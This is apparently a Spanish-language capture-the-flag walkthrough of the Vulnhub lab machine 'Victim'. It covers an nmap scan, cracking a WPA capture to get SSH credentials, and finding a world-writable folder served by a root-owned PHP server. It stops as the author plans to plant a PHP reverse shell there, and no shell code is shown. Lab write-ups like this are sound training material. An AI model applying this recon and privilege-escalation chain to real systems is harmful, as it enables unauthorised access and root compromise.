Hoy vamos a hackear la maquina de Vulnhub llamada
Victim. Podeis descargarla desde el siguiente enlace:
Victim
Video
Enumeration
Empezamos con un nmap para ver que puertos
tiene abiertos.
sml@Cassandra:~$ nmap -A -p- 192.168.1.79
Starting Nmap 7.80 ( https://nmap.org ) at 2020-05-07 13:08 CEST
Nmap scan report for 192.168.1.79
Host is up (0.0023s latency).
Not shown: 65530 filtered ports
PORT STATE SERVICE VERSION
22/tcp open ssh OpenSSH 7.6p1 Ubuntu 4ubuntu0.3 (Ubuntu Linux; protocol
2.0)
| ssh-hostkey:
| 2048 ea:e8:15:7d:8a:74:bc:45:09:76:34:13:2c:d8:1e:62 (RSA)
| 256 51:75:37:23:b6:0f:7d:ed:61:a0:61:18:21:89:35:5d (ECDSA)
|_ 256 7d:36:08:ba:91:ef:24:9f:7b:24:f6:64:c7:53:2c:b0 (ED25519)
80/tcp open http Apache httpd 2.4.29 ((Ubuntu))
|_http-server-header: Apache/2.4.29 (Ubuntu)
|_http-title: 403 Forbidden
8080/tcp open http BusyBox httpd 1.13
|_http-title: 404 Not Found
8999/tcp open http WebFS httpd 1.21
|_http-server-header: webfs/1.21
|_http-title: 0.0.0.0:8999/
9000/tcp open http PHP cli server 5.5 or later (PHP 7.2.30-1)
|_http-title: Uncaught Exception: MissingDatabaseExtensionException
Service Info: OS: Linux; CPE: cpe:/o:linux:linux_kernel
Service detection performed. Please report any incorrect results at
https://nmap.org/submit/ .
Nmap done: 1 IP address (1 host up) scanned in 146.45 seconds
Despues de mirar los puertos abiertos, visitamos el siguiente
enlace: http://192.168.1.79:8999/
Podemos ver que hay un archivo, que por el nombre y la extension
indica que es una captura de paquetes de red,y posiblemente algo
relacionado con WPA:
http://192.168.1.79:8999/WPA.cap
Nos descargamos el fichero, y lo crackeamos:
Abrimos el fichero con Wireshark y vemos que el SSID es "dlink"
Nos logueamos usando el SSID como nombre de usuario, y la password que acabamos
de crackear (dlink/p4ssword).
Low Shell
sml@Cassandra:~$ ssh dlink@192.168.1.79
The authenticity of host '192.168.1.79 (192.168.1.79)' can't be established.
ECDSA key fingerprint is SHA256:rlY5QcLGFoLjkoNzEVHA0e3fVUALcYpJ3l9rqJRyPCY.
Are you sure you want to continue connecting (yes/no/[fingerprint])? yes
Warning: Permanently added '192.168.1.79' (ECDSA) to the list of known hosts.
dlink@192.168.1.79's password:
Last login: Tue Apr 7 23:36:49 2020 from 192.168.86.99
Miramos los procesos que se estan ejecutando para ver si hay alguno interesante.
Vemos que el siguiente proceso esta lanzado como root:
root 1417 26.0 1.6 315672 33076 ? S 11:08 16:03 php -S
0.0.0.0:9000 -t /var/www/bolt/public/
Comprobamos si podemos escribir en alguna de sus carpetas.
dlink@victim01:~$ ls -l /var/www/bolt/public/
total 28
drwxr-xr-x 6 root root 4096 Nov 12 17:23 bolt-public
-rwxr-xr-x 1 root root 45 Apr 7 22:01 bolt_start.sh
drwxr-xr-x 2 root root 4096 Aug 25 2018 extensions
drwxrwxrwx 2 root root 4096 May 7 12:05 files
-rw-r--r-- 1 root root 295 Aug 25 2018 index.php
drwxr-xr-x 5 root root 4096 Nov 12 17:23 theme
drwxr-xr-x 2 root root 4096 Aug 25 2018 thumbs
Vemos que en la carpeta /var/www/bolt/public/files tenemos
permiso de escritura.
Privilege Escalation
Preparamos una reverse-shell en php para ponerla en
/var/www/bolt/public/files y asi obtener una shell de root.